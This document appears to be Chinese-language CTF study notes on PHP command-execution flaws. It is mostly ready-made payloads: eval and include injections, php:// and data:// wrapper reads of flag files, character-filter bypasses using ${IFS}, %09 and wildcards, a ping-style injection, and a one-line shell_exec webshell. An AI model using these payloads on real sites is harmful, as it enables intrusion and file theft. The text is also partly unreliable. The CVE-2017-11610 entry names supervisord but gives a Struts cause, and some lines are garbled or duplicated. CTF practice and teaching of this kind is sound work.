目录
var_export(glob('../../..'.'/*'));exit();
eg:c=highlight_file("../../../../../flag.php");
当然这个文件包含的方法还能用 c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
ctf考察的命令执行漏洞
GET请求
1.URL直接加后缀即可
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; eval($c); }
如上代码 是要 get请求到C的内容
所以命令为 url + ?c=system("系统指令");
结合下图所示,对应2和3
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
2.使用eval嵌套
?c=eval($_GET[1]);&1=passthru("tac%09fla*");
3.可以利用已知的其他函数来凑出所需要的字符串来绕过
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv(): 返回包含本地化数字和货币格式信息的关联数组,这里返回数组一个"."
pos(): 输出数组第一个元素,不改变指针
scandir(): 遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse(): 元组倒置
next(): 将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source(): 查看源码
下图所示,对应4
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
4.include包含和php伪协议
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
如图所示,对应5
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
5.php伪协议
?c=data://text/plain,<?php system("tac fla*.php")?>
如图所示,对应6
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
-
?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
如图所示 对应7
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
7./dev/null 2>&1是不进行回显,所以采用命令把flag打印出来,利用;分隔分化一下 构造payload:
?c=tac flag.php;ls 或者是 ?c=tac flag.php||
如图所示 对应8
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
8.bash无字母命令执行(最好直接用脚本生成)
比如说 $'\154\163' 代表的是 ls指令
POST请求
1、查看根目录内容
c=print_r(scandir("/"));
先用scandir列根目录内容,用print_r回显。
c=var_dump(scandir('/'));
c=var_export(scandir("/"));
var_export(glob('../../..'.'/*'));exit();
类似用途
2.查看文件
show_source() highlight_file() 读取flag内容更方便
eg:c=highlight_file("../../../../../flag.php");
当然这个文件包含的方法还能用 c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
c=readgzfile("/flag.txt");
c=include("/flag.txt");
如图所示 对应3,4
$s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s)
3.提前送出缓冲区
命令+ ob_flush();
或者命令+ob_end_flush();
4.提前终止程序
命令+exit()
命令+die()
常见系统指令(无过滤)
ls 查看目录 cat 查看文件 cp 复制
POST请求下使用 show_source() highlight() 读取flag内容更方便
命令执行漏洞
产生该漏洞的原因
1.没有针对输入代码中可执行的特殊函数进行过滤
2.Web服务器没有过滤特殊函数
一.命令执行相关函数(php)
常见命令执行函数
1.system eg:system(command,return_var); [一般只写command]
$command: 执行的命令
$return_var: 可选择写,用于返回结果的执行值(比如false等)
2.exec eg:exec(command,output,return_var); [一般只写command]
$command: 同上
$output: 修饰输出结果,会将命令的每一行输出作为一个元素存入数组中。如果命令没有输出,那么$output
将是一个空数组
$return_var: 同上
echo exec("指令");
但是exec只能获取最后一行数据,接下来的shell_exec可以获取全部数据
3.shell_exec eg:shell_exec(command);
4.passthru eg:passthru(command,return_var);
5.eval eg:eval($code);
$code: 是你要执行的代码
eval($_GET[a]);&a=system('cat flag.php');
eval相关的攻击方式(直接把code部分当成php程序执行)
6.assert eg:assert(assertion,description); [一般只写assertion]
$assertion: 和上面的code的一样,按照php代码执行\
$description: 和以前的return_var一样
7.preg_replace eg:preg_replace(pattern,replacement,subject,limit,count) [其中pattern,replacement,subject 是必填]
$pattern:这是一个必须的参数,用于指定要匹配的模式,通常是一个正则表达式。它可以是一个字符串或一个字符串数组。
𝑟𝑒𝑝𝑙𝑎𝑐𝑒𝑚𝑒𝑛𝑡:这也是一个必需的参数,用于指定将匹配到的字符串替换为何种内容。它同样可以是字符串或字符串数组。
$subject:这是必需的参数,用于指定要搜索和替换的原始字符串或字符串数组。
$limit:这是一个可选参数,用于指定最多替换多少次匹配。默认值为-1,表示替换所有匹配项。
$count:这也是一个可选参数,用于返回被替换的匹配次数。这是一个引用变量,函数执行后会更新其值。
8.call_user_func eg: call_user_func ( $callback , mixed ...$args )
$callback:这是一个必填参数,类型为callable
,意味着它可以是函数名、匿名函数(闭包)、类方法的引用等。这个参数告诉call_user_func()
要调用哪个函数。
𝑎𝑟𝑔𝑠:这是一个可变参数列表,用于传递给‘args:这是一个可变参数列表,用于传递给‘callback函数。你可以传递任意数量的参数,这些参数将会按照顺序传入
$callback`函数。
9.create_function(args,code)
$args
:这是一个字符串,表示新创建的函数的参数列表。
$code
:这是另一个字符串,代表新创建的函数中的代码块。这里的代码会被执行,就像在一个普通的函数体中一样
create_function()
返回一个表示新创建的匿名函数的资源。
10.ob_start()
<?php ob_start("system"); echo"whoami"; ob_end_flush(); ?>
二.命令执行的防御
1.使用自定义函数或者函数库来代替外部命令的功能
2.不要执行外部命令
3.使用escapeshellarg函数来处理命令参数
4.使用safe_mode_exec_dir指令可执行文件的路径(php.ini)
用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内
safe_mode_exec_dir = /usr/local/php/bin/
三.命令执行绕过基础
1.代码执行方法
命令执行会被disable_function限制 或者 被正则表达式过滤,我们不可以直接使用,这时候可以考虑代码执行:
(1)eval 直接写php代码
(2)assert eg: <?php assert($_POST['a']);?>
动态调用:
<?php $a='assert'; $a($_POST['a']); ?>
注意: php7.0.29之后不支持动态调用
(3)preg_replace 执行一个正则表达式的搜索和替换
执行代码需要使用/e修饰符. 如果不使用/e修饰符,代码不会执行
$a='phpinfo()'
$b=preg_replace("/abc/e",$b,'abcd');
(4)create_function()
(5)call_user_func()/call_user_func_array()
2.敏感字符绕过
(1)空格 [以下字符可以代替空格]
<
${IFS}
$IFS$9
%09
%20
(2)截断符号:
'$' ';' '|' '-' '(' ')' '反引号' '||' '&&' '&' '}' '{'
%0a表示 /n 换行符
对于看到ping或者ping命令却没有弄waf时就要想到命令注入.
eg: ip=127.0.0.1;cat flag.txt
(3)base编码绕过
(4)连接符绕过:
使用单引号,问号,星号
eg: cat fl'a'g.txt/fl?g.txt/fl*g.php
使用斜杠/(起到路径分隔符的作用)
eg cat${IFS}/fl"ag||
3.命令执行其他实例
(1) 一句话木马
<?php echo shell_exec($_GET['a']); ?>
(2)动态函数调用
<?php function a() { return "a()函数..."; } function b() { return "b()函数..."; } $fun = $_REQUEST['fun']; echo $fun(); $fun = $_GET['fun']; $par = $_GET['par']; $fun($par); ?>
(3)危险函数导致代码执行
<?php $arr = $_GET['arr']; $array = array(1,2,3,4,5); $new_array = array_map($arr,$array); ?>
四.命令执行相关漏洞
1.cve-2017-8046 (spring命令执行漏洞)
Spring Data Rest是一个构建在spring data之上,开发rest风格的web服务
漏洞成因: 在spring data rest框架中 用户可以使用patch请求 发送给服务器,path值传入setValue,执行SpEL表达式,触发远程命令执行漏洞.
2.cve-2017-1000353 (jenkins命令执行漏洞)
Jenkins是一个开源软件项目.是基于java开发的持续集成工具.
漏洞成因: 该漏洞存在于 Jenkins 处理序列化和反序列化逻辑的代码中,尤其是 SignedObject 类的处理方式上。恶意攻击者可以构造恶意的序列化 Java 对象,通过 Jenkins 的 CLI 通信通道发送给服务器,从而远程执行命令。
3.cve-2017-11610
supervisord是用python语言开发,管理后台应用的工具,使用图形化界面进行管理
漏洞成因: 在于 Struts 的 REST插件中的JSON数据处理器未能正确地对用户输入进行校验,允许攻击者通过恶意请求,注入并执行任意代码。